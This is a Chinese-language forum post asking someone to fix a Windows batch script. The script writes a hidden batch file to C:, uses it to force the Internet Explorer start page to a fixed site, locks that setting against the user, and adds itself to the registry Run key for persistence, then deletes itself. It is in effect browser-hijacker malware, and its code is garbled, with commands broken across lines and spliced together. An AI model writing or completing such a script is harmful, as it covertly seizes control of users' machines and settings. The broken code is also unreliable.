这个高手哥哥做的批处理有错误,哪位高手哥哥再改一下啦
要求:
运行批处理1,自动在C盘生成隐藏属性批处理2,生成2以后自动运行2!
2的功能包括修改IE主页并且锁定使用户不能修改,并且设置2为开机自动运行!
哪位高手帮忙做一个?感谢!
成绩:
@echo off
>>c:\1.bat echo @echo off
>>c:\1.bat echo reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /
>>c:\1.bat echo v "Start Page" /t reg_sz /d
http://www.baidu.com /f
>>c:\1.bat echo reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Ex>>c:\1.bat echo plorer\Main" /v "Default_Page_URL" /t reg_sz /d
http://www.baidu.com /f
>>c:\1.bat echo reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v auto /d %0
>>c:\1.bat echo attrib +h +s +r +a %0
>>c:\1.bat echo exit
del %0
exit